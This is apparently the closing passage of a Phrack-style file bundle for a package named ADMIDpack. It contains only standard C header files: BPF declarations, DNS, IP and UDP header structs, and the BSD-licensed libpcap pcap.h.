extern void bpf_tap();
extern void bpf_mtap();
#else
#if __STDC__
extern u_int bpf_filter(struct bpf_insn *, u_char *, u_int, u_int);
#endif
#endif

/*
 * Number of scratch memory words (for BPF_LD|BPF_MEM and BPF_ST).
 */
#define BPF_MEMWORDS 16

#endif
<-->
<++> ADMIDpack/dns.h

#define DNSHDRSIZE 12
   
struct dnshdr {
unsigned short int id;

unsigned char  rd:1;           /* recursion desired */
unsigned char  tc:1;           /* truncated message */
unsigned char  aa:1;           /* authoritive answer */
unsigned char  opcode:4;       /* purpose of message */
unsigned char  qr:1;           /* response flag */

unsigned char  rcode:4;        /* response code */
unsigned char  unused:2;       /* unused bits */
unsigned char  pr:1;           /* primary server required (non standard) */
unsigned char  ra:1;           /* recursion available */

unsigned short int que_num;
unsigned short int rep_num;
unsigned short int num_rr;
unsigned short int num_rrsup;
};
<-->
<++> ADMIDpack/ip.h

/* adapted from tcpdump */

#ifndef IPVERSION
  #define IPVERSION 4
#endif  /* IPVERISON */

struct iphdr {
  u_char  ihl:4,	/* header length */
          version:4;	/* version */
  u_char  tos;		/* type of service */
  short   tot_len;	/* total length */
  u_short id;		/* identification */
  short   off;		/* fragment offset field */
#define IP_DF   0x4000	/* dont fragment flag */
#define IP_MF   0x2000	/* more fragments flag */
  u_char  ttl;		/* time to live */
  u_char  protocol;	/* protocol */
  u_short check;	/* checksum */
  struct  in_addr saddr, daddr;  /* source and dest address */
};

#ifndef IP_MAXPACKET
  #define IP_MAXPACKET 65535
#endif  /* IP_MAXPACKET */
<-->
<++> ADMIDpack/pcap.h
/*
 * Copyright (c) 1993, 1994, 1995, 1996, 1997
 *	The Regents of the University of California.  All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. All advertising materials mentioning features or use of this software
 *    must display the following acknowledgement:
 *	This product includes software developed by the Computer Systems
 *	Engineering Group at Lawrence Berkeley Laboratory.
 * 4. Neither the name of the University nor of the Laboratory may be used
 *    to endorse or promote products derived from this software without
 *    specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED.  IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.
 *
 * @(#) $Header: pcap.h,v 1.21 97/10/15 21:59:13 leres Exp $ (LBL)
 */

#ifndef lib_pcap_h
#define lib_pcap_h

#include <sys/types.h>
#include <sys/time.h>

#include <bpf.h>

#include <stdio.h>

#define PCAP_VERSION_MAJOR 2
#define PCAP_VERSION_MINOR 4

#define PCAP_ERRBUF_SIZE 256

/*
 * Compatibility for systems that have a bpf.h that
 * predates the bpf typedefs for 64-bit support.
 */
#if BPF_RELEASE - 0 < 199406
typedef	int bpf_int32;
typedef	u_int bpf_u_int32;
#endif

typedef struct pcap pcap_t;
typedef struct pcap_dumper pcap_dumper_t;

/*
 * The first record in the file contains saved values for some
 * of the flags used in the printout phases of tcpdump.
 * Many fields here are 32 bit ints so compilers won't insert unwanted
 * padding; these files need to be interchangeable across architectures.
 */
struct pcap_file_header {
	bpf_u_int32 magic;
	u_short version_major;
	u_short version_minor;
	bpf_int32 thiszone;	/* gmt to local correction */
	bpf_u_int32 sigfigs;	/* accuracy of timestamps */
	bpf_u_int32 snaplen;	/* max length saved portion of each pkt */
	bpf_u_int32 linktype;	/* data link type (DLT_*) */
};

/*
 * Each packet in the dump file is prepended with this generic header.
 * This gets around the problem of different headers for different
 * packet interfaces.
 */
struct pcap_pkthdr {
	struct timeval ts;	/* time stamp */
	bpf_u_int32 caplen;	/* length of portion present */
	bpf_u_int32 len;	/* length this packet (off wire) */
};

/*
 * As returned by the pcap_stats()
 */
struct pcap_stat {
	u_int ps_recv;		/* number of packets received */
	u_int ps_drop;		/* number of packets dropped */
	u_int ps_ifdrop;	/* drops by interface XXX not yet supported */
};

typedef void (*pcap_handler)(u_char *, const struct pcap_pkthdr *,
			     const u_char *);

char	*pcap_lookupdev(char *);
int	pcap_lookupnet(char *, bpf_u_int32 *, bpf_u_int32 *, char *);
pcap_t	*pcap_open_live(char *, int, int, int, char *);
pcap_t	*pcap_open_offline(const char *, char *);
void	pcap_close(pcap_t *);
int	pcap_loop(pcap_t *, int, pcap_handler, u_char *);
int	pcap_dispatch(pcap_t *, int, pcap_handler, u_char *);
const u_char*
	pcap_next(pcap_t *, struct pcap_pkthdr *);
int	pcap_stats(pcap_t *, struct pcap_stat *);
int	pcap_setfilter(pcap_t *, struct bpf_program *);
void	pcap_perror(pcap_t *, char *);
char	*pcap_strerror(int);
char	*pcap_geterr(pcap_t *);
int	pcap_compile(pcap_t *, struct bpf_program *, char *, int,
	    bpf_u_int32);
/* XXX */
int	pcap_freecode(pcap_t *, struct bpf_program *);
int	pcap_datalink(pcap_t *);
int	pcap_snapshot(pcap_t *);
int	pcap_is_swapped(pcap_t *);
int	pcap_major_version(pcap_t *);
int	pcap_minor_version(pcap_t *);

/* XXX */
FILE	*pcap_file(pcap_t *);
int	pcap_fileno(pcap_t *);

pcap_dumper_t *pcap_dump_open(pcap_t *, const char *);
void	pcap_dump_close(pcap_dumper_t *);
void	pcap_dump(u_char *, const struct pcap_pkthdr *, const u_char *);

/* XXX this guy lives in the bpf tree */
u_int	bpf_filter(struct bpf_insn *, u_char *, u_int, u_int);
char	*bpf_image(struct bpf_insn *, int);
#endif
<-->
<++> ADMIDpack/udp.h
struct udphdr {
	u_short source;		/* source port */
	u_short dest;			/* destination port */
	u_short	len;			/* udp length */
	u_short check;		/* udp checksum */
};
<-->

----[  EOF